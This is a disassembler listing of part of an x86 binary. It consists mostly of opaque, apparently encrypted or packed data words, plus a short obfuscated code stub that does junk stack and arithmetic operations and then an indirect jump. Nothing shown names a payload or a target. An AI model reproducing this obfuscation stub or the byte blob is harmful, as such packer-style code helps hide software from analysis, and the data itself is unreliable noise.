		dd 630E2833h, 0B30EE8CDh, 34726FD1h, 158A6E6h, 1BC6F47Bh
		dd 590F14F3h, 0FF000000h, 73D31E62h, 726FD1FEh,	667118E8h
		dd 0AAD38AC8h, 73EBD77Fh, 0E05CA5EEh, 7129CB4Bh, 0EDCC7689h
		dd 47CF0E10h, 0F31B5B41h, 2A9A14h, 0D12F0000h, 0E634726Fh
		dd 64F9717Dh, 5473D31Ah, 167FCFAEh, 0D38AC843h,	93FA58C7h
		dd 0D38ACFCBh, 0FAA1137h, 776914F3h, 0F0FFFFFEh, 5CCD7AAh
		dd 912300Fh, 0CE6C8A97h, 4D0119A5h, 4957592Ah, 3A205A84h
		dd 34DEC955h, 0F3C40DB3h, 25ED414h, 0A75D0000h,	29B49657h
		dd 9198AAECh, 0AD39C07Eh, 0E7720C16h, 9FF34B9Eh, 32FAB69Eh
		dd 1E395006h, 0E2D38A53h, 14AA6807h, 0CFAB5146h, 916C3EBFh
		dd 4FD04C8Dh, 1C75D1D2h, 0D9AC61B6h, 0EC71AF7Ah, 0D3AE0FB5h
		dd 431E04D1h, 22B3F03Bh, 0F88259F6h, 40899568h,	3AD77FD4h
		dd 0AF3FF5F4h, 555AAC23h, 0BF948049h, 9DA06A53h, 0BB0928B1h
		dd 0EB33D9ACh, 0B40C1451h, 7500AD97h, 10E122BFh, 0C64C9B24h
		dd 0A02A71A8h, 7B03CAD4h, 0DB5198E6h, 0FFDAB303h, 0C8D9AC2Ah
		dd 6E999E41h, 0E70211FBh, 7E6BD43Fh, 0C58C1CECh, 0D9AC5DF2h
		dd 0A2DA436h, 0ED9AC5Eh, 0F7DE4413h, 0DFCE7E69h, 74470E9Eh
		dd 8EDFCE7Eh, 4DD87F82h, 2DA436C1h, 0DFCE7E0Ah,	0A644130Eh
		dd 9777742Dh, 0F0985CFEh, 0CB41DCE5h, 0F097EFCAh, 0C75727E5h
		dd 0F097AB8Eh, 0B0F26FE5h, 1F888A21h, 0D1D24F75h, 0B2BA1C75h
		dd 0F449EC12h, 5BFC26AFh, 0DE233ECCh, 454C2513h, 0BED2A2B8h
		dd 5A84CB6h, 12252E77h,	16EC1264h, 701B0B0Bh, 0E3D161CFh
		dd 0A3F54037h, 0DBA63614h, 3A110FDAh, 0EB7FB118h, 0D783F233h
		dd 0F95A27BEh, 0D957E2C7h, 0BAF0410Dh, 6F9A3AA0h, 0BFF7DEA7h
		dd 3748F234h, 1FB4EA8Dh, 537DF649h, 84000000h, 0F03170D1h
		dd 0C09F62AFh, 0BAB8D135h, 7ED9ACD2h, 0C9175A3h, 0A747FD08h
		dd 0ACD30B2Eh, 45100FD9h, 0D2E1F0D9h, 171BD9ACh, 0D2EDC881h
		dd 0F62DD9ACh, 1014ED5Bh, 0A7FA4FC5h, 0FF4F131Dh, 0D353666Fh
		dd 48D7D9ACh, 0B037DDCAh, 0ED1100Ah, 0AECBh, 5AA75E00h
		dd 0BEC09997h, 2968013Fh, 909168A4h, 24F3060Fh,	0CD4D4F86h
		dd 0AAF7D38Ah
		dd 53CC8727h, 6D64F456h, 0D38ACD4Ah, 0C20F11CEh, 0EF7FEF37h
		dd 0CD63761Fh, 78A7D38Ah, 0E99101Eh, 0DB7BBBD6h, 0AFDC19F2h
		dd 380219D9h, 0CA9059A5h, 5EA62777h, 0B073E95Dh, 0A823B16Fh
		dd 9C000003h, 0ADB04A93h, 71CC9E63h, 3904A633h,	0C05DE9FCh
		dd 0EA6F3FBEh, 0A9307E61h, 0F302001Dh, 4CDD62Bh, 4B969B66h
		dd 761FEFB3h, 0CD630B63h, 0A7FE4BA7h, 24B49657h, 8AC88AADh
		dd 0D3D18ED3h, 663D0A06h, 0DB7B8A89h, 26ABF64Bh, 8FD8B484h
		dd 1D170367h, 0A7AD8082h, 0C099975Ah, 0F36E3CC1h, 0C9D55AA7h
		dd 1917500h, 8AC86D48h,	0AC76ADD3h, 0B73A4712h,	0A6C37C17h
		dd 6D64F444h, 0D38AC84Ah, 0EAF353CEh, 0D9ACD0A8h, 1E87BD68h
		dd 0D9ACD137h, 3CBDC1h,	9B992A69h, 0C285B34Eh, 1F614DF7h
		dd 32C966D2h, 0EB15B6Ch, 0ED10E90h, 4E51h, 70D1D800h, 0F16EB73h
		dd 71B34EFAh, 0C493A864h, 67392B9Ah, 51FD5912h,	891AD8B1h
		dd 31ED9ACh, 901D7115h,	0D4E08889h, 0BD98F155h,	7DD9AC85h
		dd 3E157CA6h, 0B1D9AC86h, 6D53D47Eh, 0DA0ED15Dh, 0AAF63947h
		dd 879C8827h, 0E8A19Fh,	0AA280000h, 0C3AD0F26h,	0DD414A5Eh
		dd 40FC0100h, 287E28A4h, 0AED70510h, 24A5E964h,	0CD1011E8h
		dd 6A77BA57h, 2B0C40D0h, 0A7B2DBC4h, 6BD38A95h,	6FCE52BCh
		dd 0BF7578B9h, 6049D560h, 0D38A6D36h, 6E3CC1C0h, 0F702039Eh
		dd 626FB22Fh, 0EAFF0598h, 66F69628h, 8A6D4C6Fh,	0CD51CCD3h
		dd 52A8B966h, 1032C3CFh, 7B931970h, 8897D9ACh, 1CE12FB2h
		dd 2FF70203h, 0BEAB14FFh, 3B3E25ACh, 27C2DFD1h,	0B5347AC7h
		dd 0FB020C11h, 10887C79h, 389E94BAh, 21Bh, 0DD9206Fh, 59EDF030h
		dd 9135C0C4h, 0AE7C898Ch, 0F8824B53h, 0BBC3DC1Dh, 8D956832h
		dd 585BA644h, 2160FD89h, 0EA720EDCh, 6309D8E3h,	3FE58CDh
		dd 0F49657A7h, 41A52869h, 0B8E64F0Dh, 61BE6A7Bh, 798E9679h
		dd 15E575D5h, 8A4C597Ch, 0F542D9D3h, 5CEB21ACh,	70D17BF6h
		dd 771BEB73h, 2A1D1BBBh, 6049D570h, 0D9ABF472h,	0D0BD6BB6h
		dd 0D9ABF401h, 0A96FA72h, 178B0CB0h, 0D3792EF4h, 0D1A06E2Ch
		dd 0E7B70Eh, 0CA570000h, 25183AC7h, 4C9D7AAh, 0B33E431Eh
		dd 0A7B2DBABh, 6BD38AC7h, 1D896BCh, 0E42EB3FDh,	0C7E5F01Dh
		dd 7B12D38Ah, 0D38AC860h, 4BD645A0h, 1B1D80BCh,	25D38ACDh
		dd 0E87511DCh, 57626BA9h, 0DBD38ACDh, 0E37BB14Ch, 0AC7E141Eh
		dd 2AE72ACCh, 70CF4510h, 0FFF49B16h, 5BFBB818h,	0C8524FF0h
		dd 0D6E1E878h, 5AD38B9Fh, 0BFE7237Ch, 0D16C7E01h, 69A6644Dh
		dd 0BF6AD9ADh, 0B38023AFh, 0A6CAEDE4h, 0D34ED9ADh, 0AC7E41B7h
		dd 742DA666h, 0A8FE9777h, 68DFD198h, 0CAD4A9BDh, 98E67B03h
		dd 2A98EF51h, 3EF4BA10h, 0EE58h, 8C4D5200h, 0D01D63FEh
		dd 18ED370Ah, 23B6FF42h, 7178869Bh, 302F30D5h, 0C25FEFEEh
		dd 889531C0h, 5DA07A8Bh, 21FD8954h, 8A5B0D9h, 8D65CD63h
		dd 9657A730h, 0A52869F4h, 28B5FC41h, 2FFF27FCh,	975AA7B2h
		dd 3CC1C099h, 0FF039E6Eh, 5AC72CF6h, 8E94FD49h,	92D9B27Ch
		dd 0C1C09997h, 38A22E3Ch, 90AB2215h, 90D9B2C3h,	0FDF04D95h
		dd 16EB3B1Bh, 4B4AC60Bh, 0C950CECh, 98D47E2Dh, 0A6B65499h
		dd 0D9CBFD6h, 819C0C95h, 0D092CA5h, 12090C95h, 89545D30h
		dd 2ABFC693h, 0FA5CBCD0h, 94D1AB7Ah, 0FD6DF08Eh, 8751646Dh
		dd 4AD10C95h, 7935DFC8h, 0C11B538h, 6D94B05h, 71E9867Fh
		dd 2D0C40DAh, 110B6D48h, 0AD26CB6h, 0B89A6BB7h,	1EDEh
		dd 0DAAA6300h, 8AC7A8B3h, 91BD68D3h, 527ABBBh, 83563F06h
		dd 87D38A53h, 26DB7E98h, 0A7EB46CCh, 0CE9B9158h, 77023EC3h
		dd 926FA52Ch, 3ECB4190h, 0A633E9F0h, 0CE9B9158h, 6B0632C7h
		dd 8960DC29h, 58CE7A87h, 57E68956h, 4BFh, 5FFE0100h, 8704EE83h
		dd 685C2434h, 64E7h, 68241489h,	11A0h, 0BA243489h, 5FFF2849h
		dd 0DAF7D2F7h, 93EA8142h, 0C1E35DF6h, 0F28105EAh, 5C2BCC4h
		dd 24348B54h, 5104C483h, 8151D189h, 789D242Ch, 468F3F02h
		dd 8468108h, 3F02789Dh,	2434FF59h, 4C4835Eh, 5224148Bh
		dd 0C281E289h, 4, 4C281h, 14870000h, 0FEE95C24h, 0FCFFFB8Ch
		dd 0C108B85Fh, 0C5030627h, 5FDE0FFh, 97871AAEh,	0EB8535CDh
		dd 0CA626C16h, 504F367Dh, 5096501Bh, 0E357922h,	0D46C36D7h
		dd 3DC02D7Ch, 91E85787h, 4CBD109Dh, 732330D4h, 60A268A9h
		dd 0EA350AAEh, 0E850222Ch, 674E00B8h, 0E7841C2Ah, 0F0B50433h
		dd 6C5404B4h, 0AC19144Eh, 5BBF5C4Dh, 0DDCB50CFh, 8D8D62DEh
		dd 627C2ACh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	41C35141h, 0F18D89F9h, 23062233h, 222099B5h, 3185C706h
		dd 8C06222Dh, 6A000073h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 7AD5C350h, 8E996h
		dd 65640000h, 8AED87D5h, 0EF802CF8h, 38F0F0Ch, 66000000h
		dd 85C7F28Bh, 62230E5h,	0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0FEC35343h
		dd 8CF035C2h, 2B74CA20h, 4860Fh, 0BE660000h, 0B5FF68A7h
		dd 6222ADDh, 0F7DB8166h, 6595FFEDh, 89062220h, 2211A99Dh
		dd 0FF006A06h, 22307595h, 0EBC08B06h, 6CE41A7Ah, 0BF739741h
		dd 45D6E7A5h, 40FE822h,	0F9A3B4EAh, 0D31C143Bh,	42665177h
		dd 0F126C3Fh, 0B9D9BD2Eh, 0FB057148h, 8BF83FEEh, 0CE04B387h
		dd 0B86EC867h, 7A038179h, 0A14D33B4h, 0B7C260C3h, 0C1C6B52Eh
		dd 949989FAh, 1668AC24h, 0E120497Ah, 0B8863241h, 11D7C0A1h
		dd 8A53C03Dh, 0F206EA6Eh, 0D5AD10DBh, 20F6D7BFh, 0D46B2314h
		dd 0CC09F971h, 8AA3AF12h, 0E4AC205Eh, 0E98F790Eh, 33h
		dd 6B17736Bh, 0Bh dup(0)
		dd 0E9000000h, 5CAh, 0BAD56E1Fh, 2E390675h, 46A19EE1h
		dd 0FC173059h, 157CCBB3h, 741A5315h, 773BCD7h, 98E0D138h
		dd 315B44AFh, 6374FF16h, 1DF86189h, 26FE9441h, 0E93A0577h
		dd 628DBAC4h, 0A7F44F3Dh, 1439028Ah, 4697B4C7h,	3214792h
		dd 6CA9CE79h, 9DEF201Fh, 4157EA2h, 717E83F7h, 6D1E392Eh
		dd 18217FBEh, 65B2D770h, 0EDF62A19h, 3A6BD4A4h,	0A1C685F5h
		dd 0A686EE0h, 3E628C68h, 3CBC25EFh, 0D5B990F8h,	0C5D23776h
		dd 3C598AB9h, 3A2E5860h, 0BFFEBD47h, 4B317E61h,	72B58EFEh
		dd 0CB741815h, 2EAAFEAEh, 6C4F473Ah, 34471530h,	9E473A2Eh
		dd 0FA371553h, 0AE6EB291h, 51F3C6B3h, 6B06h, 5770C00h
		dd 0AAD0DD3Ah, 1F5EE993h, 1D62AFCEh, 62BEFD2Eh,	43D93E5Bh
		dd 473A3B37h, 0FB8DD3DAh, 473A3BADh, 577AFE03h,	51F3DC1Ah
		dd 4A9E0E73h, 0AF473A37h, 104DD00Ch, 68000000h,	56C65F2Bh
		dd 473A3702h, 5085C4F7h, 7737CF15h, 0D9164704h,	2B4095B2h
		dd 0C0B0E55Eh, 2655CF29h, 18E9CE19h, 0BD7640F2h, 70B9E75Fh
		dd 42D8330Ch, 1F2C525Fh, 4871AFCEh, 87D4F946h, 0E30657F4h
		dd 787CC5BEh, 0C11E3B42h, 93A4F4A8h, 6249473Ah,	7FB5333Eh
		dd 0E8D9300Fh, 317E9BA4h, 8EADFE4Dh, 0C1CE0B52h, 2A578DBAh
		dd 9BB5E665h, 65B29ADEh, 22EA3615h, 51F3323Fh, 7B9Ah, 7B443D00h
		dd 2F4B47F7h, 77F589D7h, 0C6EB3807h, 0AF598AB9h, 800E2642h
		dd 2169A6C3h, 6EB2F122h, 0F5523C65h, 45FE8BA0h,	37B13810h
		dd 0F3D96D10h, 327FA451h, 8FAEFF4Ch, 3A318DDDh,	174D6047h
		dd 5A0Eh, 1E6CA900h, 7723F321h,	0C6EB3807h, 56F187B2h
		dd 0B9B4C617h, 4274CD3Fh, 9EAA42C9h, 73473AEFh,	30B14338h
		dd 0B0DE1B39h, 152F19Dh, 0C31785E2h, 36473A00h,	712D4487h
		dd 41490477h, 5392D102h, 0A893F936h, 0C1E4387Bh, 3A3BE033h
		dd 41A74A47h, 0F3DB530Eh, 16651h, 77AC0000h, 0D1DE3B08h
		dd 52F19EABh, 72A3E201h, 93D8ED33h, 94A478E9h, 79473A3Bh
		dd 6AA2F332h, 0DCA381E7h, 0E633046Fh, 1365AA99h, 0F1E2F428h
		dd 424845A2h, 91C27D0Bh, 8CCD1352h, 18488F10h, 0D953B849h
		dd 411828B1h, 0E65BE494h, 0B69A2ED7h, 9FD46DF2h, 0B0E5C841h
		dd 0DF36117Bh, 442BAAD2h, 6F33BE80h, 8F5D8EC1h,	41184279h
		dd 0FC211E60h, 2172CDBFh, 70DC1C11h, 18426CBCh,	0EB2A8141h
		dd 0F232B6BBh, 6956B18Ah, 0A6CB1823h, 0F9386DD6h, 714F870h
		dd 6685D671h, 84D86329h, 0DD340F7Dh, 0F50597FCh, 18411842h
		dd 14335C95h, 0DC78A4C7h, 4BD162A1h, 53CEBBF8h,	184EB1D9h
		dd 16496441h, 1874BCAh,	216E0000h, 7DB8ED5Ah, 7A5F8F27h
		dd 3A3B96A2h, 47048B47h, 0F30795FAh, 26473A3Bh,	0CE085497h
		dd 0F3A9CE15h, 49182A4Ch, 3C0B7431h, 588DCCEFh,	0B291FE3Bh
		dd 9B3C755h, 57664118h,	0A39CE009h, 7404946h, 64997D6h
		dd 9BC87319h, 0FC1D2656h, 0FDBE0Bh, 96E347E3h, 17366AADh
		dd 4596B5DAh, 0B6E76028h, 0BB6F8964h, 0BF75F37Ch, 0FB1B72CDh
		dd 4BD18B86h, 5053h, 0D2FD4600h, 0F02A588Ah, 0DA93483Eh
		dd 6B15A321h, 0A8589935h, 0A4940861h, 5111736Ch, 0D4083744h
		dd 0C80D5E5Dh, 5E82BDCBh, 3A3B7C8Ch, 618742C7h,	60DBAEEBh
		dd 0DF26DA3Ch, 6C36E2BAh, 901B9173h, 613B6079h,	473A3B59h
		dd 54A3F1BCh, 0C1h, 64AB58BEh, 3DC66903h, 8A374918h, 0D9164704h
		dd 1B5497B0h, 6487D473h, 0D1BBF025h, 0BDB01176h, 211E6D62h
		dd 72C4B1FCh, 0A7A8F4B5h, 6BBF6D52h, 56411885h,	1885B2C6h
		dd 0EB546741h, 27559CC0h, 9ADD6612h, 7F0F0C49h,	0FEEA93C0h
		dd 83C086A5h, 8B5D83C2h, 4118B586h, 0E4291267h,	0B4FD0D9Fh
		dd 9D104118h, 0F4192654h, 2774D3A7h, 3048C104h,	2345A8FAh
		dd 0A9C07B01h, 32579C57h, 39F71A7Ah, 97C4F74Fh,	0C409325Ah
		dd 0E2678170h, 67E0ACF1h, 0B99EC324h, 69B0D854h, 56654B70h
		dd 70697286h, 0C814A74Bh, 512ADE3Eh, 30C23345h,	7FC8B45Ah
		dd 20760F2Eh, 77254237h, 55487923h, 4DA4E7D6h, 64AB58D1h
		dd 78756903h, 0D5D8491Bh, 43364380h, 0EF9DA4F8h, 98E63354h
		dd 256A75ABh, 5ABFEC57h, 0CD132C5Dh, 0D72D73Bh,	82C1CA22h
		dd 0D26D1C51h, 66824F81h, 0D8D534C0h, 5D82EB3h,	18DD7630h
		dd 1DA21CD9h, 0F1B483CEh, 22246A3h, 79A6C17Ah, 9EFB2813h
		dd 0A676EB91h, 34620692h, 0AFF53487h, 1F4CF782h, 202C4C35h
		dd 4498A7D3h, 5AD24F3Dh, 3462050Eh, 0EA3EEEE3h,	0F346205h
		dd 0C32A6DACh, 0CF1B91F6h, 22346205h, 602C558Bh, 0AABB6E7h
		dd 9B000000h, 0BDC1CECBh, 0C21E5D8Eh, 3D067732h, 8EB9C3E8h
		dd 0DF68105Dh, 2A19618Eh, 7DCAB4F9h, 0CC7B0328h, 1C27529Fh
		dd 6EDDA2CFh, 0BC8BF03Dh, 0AE68696Fh, 89000060h, 0BD552424h
		dd 4, 4246C01h
		db 5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	2271h
		mov	[esp], edx
		mov	ebx, 62604D49h
		not	ebx
		sub	ebx, 1EF727DAh
		and	ebx, 566F20CAh
		xchg	edi, ebx
		not	edi
		xchg	edi, ebx
		shl	ebx, 1
		xor	ebx, 55883D06h
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ebx
		push	eax
		mov	eax, 5CBD6DEEh
		sub	[esp+4], eax
		pop	eax
		pop	dword ptr [edx+8]
		add	dword ptr [edx+8], 5CBD6DEEh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_502B27
; ---------------------------------------------------------------------------
		dd 0B782B194h, 42AE4D6Eh, 0B0E4AEB7h, 86B8CC3Ah, 30627C8h
		dd 0B0E0FFC5h, 0FE534AC1h, 0C87B0CB7h, 2F426EBBh, 6872B9BEh
		dd 37D210Eh, 53029C72h,	0E81E8F31h, 11h, 67979574h, 9945070Bh
		dd 0E24EC6D8h, 1E0A90D9h, 0BAB25009h, 40B3595Ah, 6BEEC181h
		dd 0FE90000h, 79000000h, 0F92DB6B3h, 0B95DA55Dh, 2E624A14h
		dd 0F62B5A3Ah, 84F38166h, 0E34FF1Dh, 0EE9h, 58691600h
		dd 0E0978807h, 130D5459h, 58C13388h, 85F0E881h,	0B70F6064h
		dd 15C081DBh, 0FC6F4F1Ch, 722AF081h, 0BA663364h, 0F50E450h
		dd 48FF8B7h, 0B8B0F31h,	0F000000h, 586h, 0E2816600h, 0D78BE147h
		dd 8B04EE83h, 0ACFE81DAh, 0FFFFF94h, 0FFFFA485h, 38B0FFFh
		dd 66000000h, 8D8DDF8Bh, 627CABBh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 83C35040h, 0BE9D69Eh, 0FA000000h
		dd 4C49BE58h, 45EE2180h, 958BA94Ah, 62220E1h, 33F18D89h
		dd 0C58A0622h, 2D3185C7h, 6FF00622h, 85C70000h,	62230E5h
		dd 0
		dd 0D38F43BBh, 89B5890Bh, 0FF062204h, 2219F5B5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0F0A41743h, 8A0FA585h, 4, 5E5E5756h,	206595FFh, 6A0622h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0D7816FC3h, 709DE751h, 95FF006Ah, 6223075h, 6FEBC08Bh
		dd 0B513A84Eh, 7713A289h, 0B38D5D11h, 12B2BF0Ah, 517968C5h
		dd 0E088EA50h, 0A4997960h, 7479E02h, 66869841h,	0F9955E39h
		dd 827BB7B5h, 0CE7F25A9h, 0FC178BE8h, 0BB4ABF12h, 35C04FBCh
		dd 0FD942076h, 6DC74650h, 8B0E4619h, 2AB5BACDh,	35B1B175h
		dd 66A0362Dh, 17CBD23h,	21FB761Eh, 0D01F2A57h, 0E027C57Bh
		dd 0E6B91FC9h, 5C1253E8h, 0E9DE3719h, 8, 745DD371h, 77E7339Ch
		dd 0DAAE9h, 0CCF76800h,	98E90627h, 68FFFAB7h, 627CDF2h
		dd 0FAB78EE9h, 0CF4568FFh, 84E90627h, 68FFFAB7h, 627D03Dh
		dd 0FAB77AE9h, 0D1F868FFh, 70E90627h, 68FFFAB7h, 627D419h
		dd 0FAB766E9h, 0D5C968FFh, 5CE90627h, 68FFFAB7h, 627D6D6h
		dd 0FAB752E9h, 0AC97E6FFh, 102F5C45h, 78C7C8F9h, 0EE592011h
		dd 57F49A87h, 0E12ACA3Ch, 5A47AE9Dh, 0B7F81330h, 226F86C1h
		dd 5F86E15Ah, 0F056623Ah, 17BB411Dh, 2A525F0Fh,	0D3306411h
		dd 26E3B0CCh, 72CDBFFAh, 0C7800C21h, 0E1EBE1A2h, 0FF7BFF89h
		dd 0A55EBEA1h, 69102950h, 3B5C9FDEh, 18458261h,	3E4E4B49h
		dd 4F95D005h, 0FA8ADBD2h, 411834AAh, 44BAD54h, 4BD1C849h
		dd 11F4E7A0h, 0A9FA4932h, 0E7E7F18Ah, 4E44C917h, 0D2000000h
		dd 364AB58h, 30550042h,	469A7BF4h, 97E12E13h, 3E6FDCA2h
		dd 0C660BCFFh, 49184795h, 52E2337Ah, 41182B02h,	8FDC6B1Fh
		dd 93091C62h, 41182B47h, 93C003AAh, 0A48AEE43h,	0A0EC2988h
		dd 0E93776A7h, 0ACA1E800h, 94BD1CBh, 0CCh, 2A525F11h, 73A1CC11h
		dd 0A8FD4636h, 1F4CFB83h, 4C91AAD2h, 0C6850A07h, 0C7AD5695h
		dd 1D0BC55Fh, 602C558Bh, 1B1C8CE7h, 2C473A90h, 970555C7h
		dd 0C5E8473Ah, 112A529Fh, 78C3C9F6h, 60552E2Bh,	0DE087E5Ch
		dd 0DF94C61Ah, 0AAA57790h, 0B3491836h, 0B93A4EDEh, 0DCDF4118h
		dd 7162729Dh, 0AEE15E2Ch, 3F4C49h, 5B58BDDCh, 3CCE122Dh
		dd 4F3C2E23h, 0AF9CEFCCh, 0E9260B6Ch, 337EA2A1h, 0BC87F24Bh
		dd 0E20D4C6Fh, 8472D1BDh, 0EF971009h, 1EC45B54h, 8000000Bh
		dd 0E62B42FDh, 525FB695h, 0CAF71E2Dh, 246D84BFh, 0A482ED5Ah
		dd 44038BC4h, 0A996E42Dh, 1C27515Eh, 87C0CCF5h,	1894E56Ch
		dd 411DF7F0h, 77B17125h, 0E0D13807h, 0D248A39Ch, 364AB58h
		dd 18416669h, 0B7E4D749h, 0C374552h, 5FEC92DFh,	1626C01Ch
		dd 0E8411831h, 4A038C89h, 89D4F942h, 0C92F0A56h, 0D1D1CB86h
		dd 0C9EE4Bh, 77340000h,	0C4E93A05h, 76C8DBAh, 3A3B4595h
		dd 840BA847h, 145796C7h, 7358BDC8h, 3A3B91B9h, 40D0C047h
		dd 7D323BE4h, 11ABE9C4h, 473A0A1Eh, 0ABC27D0Fh,	0F82D1666h
		dd 7F98E79Ch, 0A1FF4C32h, 1293FCB0h, 3F7C4918h,	57BEF14Ah
		dd 28418E45h, 660129C3h, 0B9F44118h, 19470088h,	0F2A824F8h
		dd 86D4F3Ch, 7D214494h,	0DE02A94Bh, 0E22F4863h,	5B44AF9Ch
		dd 9AE53233h, 21AFFBADh, 6B424B7Dh, 0BBE85326h,	0CAB13978h
		dd 93EF9738h, 0A23BF82h, 0F8850000h, 90FB244Fh,	285758B3h
		dd 0BACFF01Bh, 55396681h, 0C9AB9FF6h, 2641FE80h, 5BB291F9h
		dd 0CE192256h, 6980BBC1h, 0F70399FEh, 1A411DF6h, 777AC74h
		dd 9CE0D138h, 77D248A3h, 0C4E93A05h, 14648FB8h,	25F7105Fh
		dd 49183BE6h, 0AE9DE22Fh, 0E0453E7Dh, 0A352DEE8h, 0F6C57CA0h
		dd 49F68491h, 62BBD904h, 181081D2h, 371C7D41h, 18105565h
		dd 7C8C6041h, 91411810h, 4A96251Ah, 0B4689EFh, 0AE4BD1ADh
		dd 614h, 64AB5874h, 37466903h, 4B74918h, 3FF105D7h, 420F4118h
		dd 0D36EE326h, 0F54B4BD1h, 0D3000005h, 364AB58h, 8EF2A642h
		dd 948B6043h, 41852EF1h, 0B1A0FC3Fh, 181864FBh,	71A20949h
		dd 185F93A3h, 4FFA8E41h, 90D3003Fh, 9DEF0C51h, 6A8771A2h
		dd 4D34180Eh, 7369E42Bh, 0B54C4BD1h, 67000005h,	0B1BF399Eh
		dd 5987F8D7h, 88FCD385h, 0B97394DBh, 4918289Eh,	0DC4E2C8Fh
		dd 0C56F1663h, 7693E093h, 2F763DA6h, 5A8B22DBh,	9DFA493Ah
		dd 0F5CEB90h, 7CA1B0ECh, 0AFFC4B3Fh, 95B6508Ch,	0A2D141A3h
		dd 6C002555h, 0D941F75Ch, 6ABBFAB1h, 911C154Bh,	79B21378h
		dd 7982998Eh, 91FB065Ah, 2A525FB6h, 0D0986911h,	94A55D62h
		dd 8D095h, 0F04B3200h, 64E3A899h, 0CC7B040Dh, 320D7CA5h
		dd 9BA8D6DBh, 3D767670h, 969BF251h, 30C67E4h, 7EA3CA75h
		dd 13DA350Eh, 0F482D646h, 0A377411Dh, 80057743h, 0B54E9DEAh
		dd 0BFEC2F62h, 2757A65Dh, 69A8CB18h, 9BEE2B10h,	0A2AA7CA0h
		dd 0AF491BEDh, 2323E50Ch, 0DE411202h, 204390ABh, 0FF8B88E1h
		dd 8CD01340h, 0AE99E3AEh, 347B7547h, 23959D3h, 0C1EC4112h
		dd 122D5F9Ch, 21529FBh,	80084112h, 2955A2C7h, 89DA6514h
		dd 0BBFA2B6Ah, 47357A65h, 0C91DAFFCh, 0D4975B52h, 58E797A6h
		dd 0D1A7F419h, 18152576h, 15184AE0h, 102B51D3h,	7BC4C8F9h
		dd 624A9A2Ah, 0C1B04112h, 44FF8DA7h, 102362Dh, 5F1C0000h
		dd 0CA1B2852h, 404C75ABh, 0EF99D607h, 25750754h, 38473A3Bh
		dd 5ABAEB54h, 10F9E0A9h, 92BD82FDh, 6E663653h, 0F3491BC5h
		dd 4235CEB8h, 3700F5B6h, 7D828h, 0F8434A00h, 6CDBA091h
		dd 0D4731C05h, 3A0574BDh, 0A3A0EED3h, 357E7E48h, 0AE93FA49h
		dd 1B046FDCh, 76BBD26Dh, 2BD23D06h, 0EB8ADE4Eh,	0AB6F411Dh
		dd 3A05777Bh, 4D1A64DDh, 6C3926E6h, 0B6D81530h,	47317E89h
		dd 0EE9E9BFCh, 7F91B973h, 2984473Ah, 5A86A5F6h,	0BB840839h
		dd 201F6F50h, 73D0BEF3h, 0EE0A0722h, 90FB4836h,	0F3970F42h
		dd 7AA51h, 0A5700000h, 0DEh, 3A057789h,	4B0B5BE9h, 6216473Ah
		dd 1867B4D9h, 6B96FA2Bh, 0AA0F190Dh, 1EB848D9h,	0A5EAAC18h
		dd 0CC356BD4h, 3B0488ACh, 2AABD1DEh, 77F8C988h,	0A5689FAh
		dd 97B0D8C9h, 0B965B646h, 81473Ah, 96201847h, 0E80B58E3h
		dd 69578113h, 8AAACE2Bh, 702A45FEh, 21460177h, 50620BFCh
		dd 1E80C8DCh, 3A303A4Eh, 0EE592F47h, 19265451h,	2A76A9F4h
		dd 0D0B9F613h, 0D9072677h, 0E5FE890h, 0D9A297E1h, 1FA2B6Ah
		dd 0B9956E1Fh, 2A549DA8h, 5980C81Dh, 43CC0B1Fh,	755E2725h
		dd 0D2097526h, 0ADEC5B23h, 53E4A77h, 9A348DEAh,	0AB1586EFh
		dd 8827C11Fh, 63473A70h, 0F39B8FC3h, 0FE952851h, 5FF6FFFFh
		dd 3B96A27Ah, 307B473Ah, 30A17ECh, 35420000h, 88ABF843h
		dd 3B6DBD6Fh, 2D80473Ah, 525F5FF7h, 0AFCE1F2Ch,	0FB444871h
		dd 0A4D4ADAAh, 38F2B813h, 76B6508Ch, 48473AF8h,	0BFCD6781h
		dd 58246D84h, 0CEEEBEEFh, 0B3473AF8h, 2F2D7EC9h, 0A09BE134h
		dd 98F13073h, 933A792Fh, 0ABE4EEF4h, 0F03360DFh, 97FFADACh
		dd 7A491BF9h, 0CB79F189h, 123F0951h, 34C1EC41h,	0EF2E4488h
		dd 0B605561Bh, 67FACBF5h, 61Dh,	2A45FE8Fh, 5EA996E5h, 0F6112E51h
		dd 6C87C0C9h, 85EC5B23h, 48AC3A5h, 97E32C47h, 285041A8h
		dd 0C1CBF41Fh, 93E46F86h, 1DEAF119h, 0B66E2441h, 0E93A0577h
		dd 628DBAC4h, 0BB573015h, 0CE159D34h, 6DEB3FE1h, 0AF0E473Ah
		dd 0FB444871h, 9C3E8790h, 59F88C93h, 0F08415EEh
		dd 899533DAh, 0E3602E4Bh, 0BFCBA186h, 52473A26h, 0CBE0055Bh
		dd 105784C3h, 3B43E107h, 1C51E50Ch, 0B951F3BBh,	214h, 9EA9DFDCh
		dd 22F22E4Dh, 3C61A858h, 646DBE60h, 0D421B090h,	0FB469AA5h
		dd 0D9174A7Dh, 0F1A25304h, 68000001h, 861A858h,	3A3B4494h
		dd 0D102A947h, 646D1103h, 71BE1390h, 0C1EE3F08h, 104C8FB8h
		dd 0C5B8CF29h, 105304D8h, 1C8h,	61A8583Eh, 3B489408h, 6B5473Ah
		dd 6D1507D5h, 0BA1F9064h, 0F4C39C9h, 1A467A4Ah,	0BBB6D91Fh
		dd 1E5305D4h, 1A0h, 61A85804h, 3B4C9408h, 0FAB1473Ah, 1DBACA9h
		dd 0C46AE34Fh, 56D862BEh, 589064A1h, 0B8F55791h, 0F7B2CFD2h
